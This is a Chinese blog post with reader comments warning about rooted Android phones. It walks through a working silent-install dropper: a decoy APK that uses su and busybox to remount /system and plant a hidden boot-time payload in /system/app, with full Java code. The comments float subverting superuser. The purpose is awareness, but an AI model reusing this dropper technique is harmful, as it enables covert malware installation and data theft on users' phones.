`
su1216
  • 浏览: 671010 次
  • 性别: Icon_minigender_1
  • 来自: 北京
博客专栏
Group-logo
深入入门正则表达式(jav...
浏览量:71916
E60283d7-4822-3dfb-9de4-f2377e30189c
android手机的安全问...
浏览量:128767
社区版块
存档分类
最新评论

android手机root后的安全问题 (一)

阅读更多

前提:你有一部已经root的android手机,并且手机中有busybox和superuser

 

导读:本文介绍一种简单的病毒以及如何“防御”。

写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!

 

这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。

虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。

有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。

 

我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?

好吧,我们先来一次“静默安装”!

原理很简单,基本上相当于把apk push到手机里面,两个选择

data/app

system/app

如果我是病毒软件,我肯定选择push到system/app

我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)

首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。

real.apk里有一个receiver,用来监听开机的广播

android.intent.action.BOOT_COMPLETED

还有一个activity,没有什么实质内容,然后编译出apk,待用。

 

下面来制作壳子

新建一个android工程,将之前的real.apk复制到assets目录下

然后新建一个activity来测试

这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的

prepareButton.setOnClickListener(new View.OnClickListener() {
	public void onClick(View v) {
		File dataFolder = getFilesDir();
                File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
                copyFile("real.apk", jar, mResources);
	}
});

其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码

InputStream myInput = null;
try
    myInput = resources.getAssets().open(filePath);
    ……
catch
……
finally
……

第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。

这里需要使用到busybox,命令如下

busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk

之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)

当然superuser需要同意你使用root权限

至此,你的入侵行为已经全部完成!

installButton.setOnClickListener(new View.OnClickListener() {
		public void onClick(View v) {
			String packageName = getPackageName();
			String[] commands = {"busybox mount -o remount,rw /system",
                                 "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
                                 "busybox rm /data/data/" + packageName + "/files/real.apk"};
			Process process = null;
			DataOutputStream dataOutputStream = null;

			try {
				process = Runtime.getRuntime().exec("su");
				dataOutputStream = new DataOutputStream(process.getOutputStream());
				int length = commands.length;
				for (int i = 0; i < length; i++) {
					Log.e(TAG, "commands[" + i + "]:" + commands[i]);
					dataOutputStream.writeBytes(commands[i] + "\n");
				}
				dataOutputStream.writeBytes("exit\n");
				dataOutputStream.flush();
				process.waitFor();
			} catch (Exception e) {
				Log.e(TAG, "copy fail", e);
			} finally {
				try {
					if (dataOutputStream != null) {
						dataOutputStream.close();
					}
					process.destroy();
				} catch (Exception e) {
				}
			}
		}
	});
}

重启手机之后,real.apk就能工作了,它会接收到开机广播

如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的

real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。

 

如何防御?!

我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!

我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)

大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果

 

 

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

 

 

 

android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)

 

 

android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序

 

 

 

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

8
6
分享到:
评论
9 楼 su1216 2012-08-31  
ray_linn 写道
android 没有root 根本没法用,乱七八糟的程序上上下下


那只能自己权衡了
确实挺尴尬的

不过应该让广大的非程序员的朋友知道风险到底有多大
8 楼 ray_linn 2012-08-31  
android 没有root 根本没法用,乱七八糟的程序上上下下
7 楼 a283037321 2012-08-31  
好东西。。。。厉害。。
6 楼 su1216 2012-08-31  
su1216 写道
archy123 写道

查看superuser也没啥用,我获得一次root权限之后就能“破解”superuser,让我的应用程序变成永远获得root权限。当然,我也可以让用户查看superuser的时候,感觉一切仍然正常。
正在考虑要不要把“破解”superuser部分放上来作为第二期。。。


root后的手机就相当于获取了管理员权限的操作系统,当然可以为所欲为。superuser一般第一次总会提示的。不过很少人仔细看。除非superuser本身就是被动过手脚的。所以说最危险的还是第三方系统。

如果您能在第一次安装应用的时候能绕过superuser,还请多多指教。期待您的下期。



直接绕过superuser没有研究,估计对我这种linux新手还是十分困难的。。。
不过大家可以反编译一下一起探讨嘛
5 楼 archy123 2012-08-31  
su1216 写道

是阿,问题是太多的非开发者不知道root的危险性,有的知道,但是不知道有那么危险,都开开心心的去root的。

查看superuser也没啥用,我获得一次root权限之后就能“破解”superuser,让我的应用程序变成永远获得root权限。当然,我也可以让用户查看superuser的时候,感觉一切仍然正常。
正在考虑要不要把“破解”superuser部分放上来作为第二期。。。

引用错了。再发次
root后的手机就相当于获取了管理员权限的操作系统,当然可以为所欲为。superuser一般第一次总会提示的。不过很少人仔细看。除非superuser本身就是被动过手脚的。所以说最危险的还是第三方系统。

如果您能在第一次安装应用的时候能绕过superuser,还请多多指教。期待您的下期。
4 楼 archy123 2012-08-31  
archy123 写道

查看superuser也没啥用,我获得一次root权限之后就能“破解”superuser,让我的应用程序变成永远获得root权限。当然,我也可以让用户查看superuser的时候,感觉一切仍然正常。
正在考虑要不要把“破解”superuser部分放上来作为第二期。。。


root后的手机就相当于获取了管理员权限的操作系统,当然可以为所欲为。superuser一般第一次总会提示的。不过很少人仔细看。除非superuser本身就是被动过手脚的。所以说最危险的还是第三方系统。

如果您能在第一次安装应用的时候能绕过superuser,还请多多指教。期待您的下期。
3 楼 su1216 2012-08-31  
archy123 写道
root后的手机毫无安全可言,就算作为软件开发人员也会中招,不要轻易刷第三方rom。同时如果非要root,最好使用官方rom自己root后刷入。并且注意查看superuser中那些软件使用root权限。


是阿,问题是太多的非开发者不知道root的危险性,有的知道,但是不知道有那么危险,都开开心心的去root的。

查看superuser也没啥用,我获得一次root权限之后就能“破解”superuser,让我的应用程序变成永远获得root权限。当然,我也可以让用户查看superuser的时候,感觉一切仍然正常。
正在考虑要不要把“破解”superuser部分放上来作为第二期。。。
2 楼 archy123 2012-08-31  
root后的手机毫无安全可言,就算作为软件开发人员也会中招,不要轻易刷第三方rom。同时如果非要root,最好使用官方rom自己root后刷入。并且注意查看superuser中那些软件使用root权限。
1 楼 lukelee34 2012-08-31  

相关推荐

    android手机root检测

    标题提到的"android手机root检测"是指检查Android设备是否已经获取了root权限的过程。这个过程对于应用开发者和安全专家来说尤其重要,因为他们需要确保其应用不会在被root的设备上运行,因为这可能会导致数据泄露或...

    中兴U880 Android手机root工具 SuperOneClick

    【中兴U880 Android手机root工具 SuperOneClick】是一种专门为中兴U880智能手机设计的便捷Root工具,其主要目标是帮助用户获取设备的最高管理权限,即所谓的Root权限。在Android系统中,Root权限相当于Windows系统中...

    Android root下修改设备分辨率

    5. **恢复方法**:如果修改后出现问题,可以尝试恢复备份的系统镜像,或者使用一些Root管理工具如SuperSU或Magisk进行系统还原。如果设备因错误修改而无法启动,可能需要通过fastboot模式或ODIN工具刷入新的系统固件...

    android手机root工具

    这是一个工具,帮你获取android手机的root权限。让你不受控制,当然,这可能也给你手机带来一些安全问题,所以请慎重。

    索尼 android手机 无痛root

    总的来说,"索尼Android手机无痛root"是一个针对特定系统版本的便捷root方案,为中文用户提供了一个简单易行的方法来获取手机的超级用户权限。然而,如同所有root操作一样,用户在享受更多自由的同时,也要承担相应...

    Android设备上非root的抓包实现方法(Tcpdump方法)

    由于Android系统的安全机制,大多数应用程序没有root权限,因此不能直接使用tcpdump工具进行抓包。然而,通过一些特殊的技术手段,我们可以在非root的Android设备上实现抓包功能。 首先,理解tcpdump的运行需求。...

    android手机获取root权限详细教程资料.pdf

    Android手机获取root权限是许多...总之,Android手机获取root权限是一个复杂但有回报的过程,允许用户深度定制设备,但也伴随着潜在的风险。对于愿意探索设备潜力并愿意承担相应风险的用户,这是一个值得考虑的选择。

    android智能手机百分百 root成功软件

    在Android操作系统的世界里,"root"一词代表着...root后,手机的安全性可能会降低,容易受到恶意软件攻击。此外,root可能违反手机厂商的保修政策,导致保修失效。因此,在决定root前,请充分了解其利弊,谨慎操作。

    Android-root.rar_ROOT_android root_root android

    下面我们将详细探讨Android手机终端上的root用户命令合辑及其用法。 1. **获取Root权限**:首先,获取root权限是整个过程的基础。这通常需要通过第三方工具或服务,如Magisk、SuperSU等。每个工具都有其特定的流程...

    Android手机ROOT权限详细说明.doc

    Android手机的ROOT权限是一个关键的概念,尤其对于那些喜欢深入探索和自定义设备的用户来说。在Android系统中,"ROOT"是指获取手机操作系统最高级别的权限,相当于Linux系统中的超级管理员用户账户,也就是root用户...

    android获取root权限

    5. **检查权限**:root成功后,用户可以在手机上安装一个名为“SuperSU”的应用,以管理root权限的分配。 6. **恢复未root状态**:如果需要取消root,可以再次使用SuperOneClick的“Unroot”功能,或者利用其他工具...

    Android获取root权限工具

    在Android操作系统中,根权限(Root权限)是一个高级权限,允许用户访问系统核心部分,进行更深入的系统定制和管理。通常,Android设备出厂时,系统为了保护设备稳定性和安全性,会限制用户获取这种权限。然而,对于...

    mtk6577 android4.0 root工具

    5. **后root维护**:成功root后,用户应安装一个如SuperSU这样的管理应用来控制各个应用的root权限,并定期更新以防止已知的安全漏洞。 6. **恢复原状**:如果用户不再需要root权限或遇到问题,可以通过unroot工具...

    Android例子源码不弹框手机是否Root检测例子

    现在,我们来看判断Android手机是否已Root的三种方法: 1. **检查已知Root应用是否存在**:这种方法简单直接,通过查找已知的Root管理应用(如SuperSU、Magisk等)的系统文件或服务来判断。例如,可以检查/system/...

    华为手机root软件

    华为手机root工具是一种专为华为设备设计的软件,旨在获取手机的最高权限,即root权限。root是Android系统中的一个概念,代表着用户能够对系统进行深层次的定制和修改,不受厂商预装应用和系统限制。通过root,用户...

    AndroidROOT教程

    这篇"Android ROOT教程"旨在帮助安卓手机用户了解并实现ROOT权限的获取。 首先,我们要明确ROOT的风险。虽然ROOT可以带来诸多便利,如删除预装应用、优化电池性能等,但也可能导致系统不稳定,甚至丢失保修。因此,...

    android手机获取root权限教程

    ### Android手机获取Root权限教程详解 #### Root权限概念与重要性 **Root权限**,对于Android设备来说,意味着用户能够获得对其操作系统最高级别的控制权。这一权限赋予了用户修改或替换设备操作系统的能力,几乎...

    android root提权原理

    对于Android用户而言,Root意味着对设备控制的极大增强,但也需谨慎对待,以免因不当操作导致设备不稳定或安全问题。而对于Android开发者和安全研究人员,深入理解Root的原理和技术细节,有助于构建更加安全、稳定的...

    KSP8000手机root

    【KSP8000手机Root详解】 Root是Android系统中的一个术语,指的是获取设备的最高权限,类似于Windows系统的管理员权限。Root后,用户可以访问并修改系统级别的文件,安装自定义固件、删除预装应用,优化系统性能,...

Global site tag (gtag.js) - Google Analytics